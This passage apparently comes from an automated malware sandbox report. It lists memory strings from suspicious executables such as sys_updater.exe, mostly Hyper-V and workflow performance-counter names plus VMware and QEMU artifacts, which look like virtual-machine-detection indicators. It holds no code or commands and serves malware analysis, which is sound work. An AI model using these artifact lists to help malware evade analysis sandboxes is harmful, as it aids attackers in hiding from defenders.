Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AA2000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1A9B000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processori/X
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipes
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partitionows\+
Source: sys_updater.exe, 00000018.00000003.2631778406.0000021E02FCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transition
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partitionm
Source: sys_updater.exe, 0000001F.00000003.2811467731.0000020E47B7C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2805113043.0000020E47B7C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2804170515.0000020E47B7C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2811357939.0000020E47B7C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2810284197.0000020E47B7C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2811869808.0000020E47B61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence N
Source: sys_updater.exe, 0000001F.00000003.2895586429.0000020E494BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: sys_updater.exe, 00000018.00000003.2634417084.0000021E02FEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ws Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot00
Source: sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency48
Source: sys_updater.exe, 0000001F.00000003.2801569379.0000020E47A31000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2800353186.0000020E47A37000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2800236656.0000020E47A23000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2801075692.0000020E47A3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HW
Source: sys_updater.exe, 00000022.00000003.2893512724.00000237D30B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: flows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2144961325.00000234D59EB000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2145009528.00000234D59EB000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2145443872.00000234D59EB000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2143192474.00000234D59EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0Hosted Cache: Segment offers queue size9612Publication Cache: Published contents9614Local Cache: Average access time3432WSMan Quota Statistics3434Total Requests/Second3436User Quota Violations/Second3438System Quota Violations/Second3440Active Shells3442Active Operations3444Active Users3446Process ID1914Hyper-V VM Vid Partition1916Physical Pages Allocated1918Preferred NUMA Node Index1920Remote Physical Pages1922ClientHandles1924CompressPackTimeInUs1926CompressUnpackTimeInUs1928CompressPackInputSizeInBytes1930CompressUnpackInputSizeInBytes1932CompressPackOutputSizeInBytes1934CompressUnpackOutputSizeInBytes1936CompressUnpackUncompressedInputSizeInBytes1938CompressPackDiscardedSizeInBytes1940CompressWorkspaceSizeInBytes1942CompressScratchPoolSizeInBytes1944CryptPackTimeInUs1946CryptUnpackTimeInUs1948CryptPackInputSizeInBytes1950CryptUnpackInputSizeInBytes1952CryptPackOutputSizeInBytes1954CryptUnpackOutputSizeInBytes1956CryptScratchPoolSizeInBytes
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical ProcessorH
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AA2000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1A9B000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AA3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V qbqdsitfxsrfbfn Bus
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partition\Win&
Source: sys_updater.exe, 00000022.00000003.2923163784.00000237D3099000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pend
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2141599628.00000234D4000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: quence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus Pipes`
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V qbqdsitfxsrfbfn Bus Pipes)
Source: HM3SOlbpH71yEXUIEAOeIiGX.exe, 0000000A.00000002.1819425581.0000000004DC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: DQEMu
Source: sys_updater.exe, 0000001B.00000003.2712059415.00000159F3429000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2712604847.00000159F3429000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2711491206.00000159F3422000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flu
Source: sys_updater.exe, 0000001F.00000003.2840033423.0000020E47BEF000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2841814217.0000020E47BEF000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2840639497.0000020E47BEF000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2838230496.0000020E47BEF000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2839786737.0000020E47BEF000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2837566535.0000020E47BEF000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2837380902.0000020E47BEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot rea
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration ServiceY
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service&Al
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partitionl
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service"C
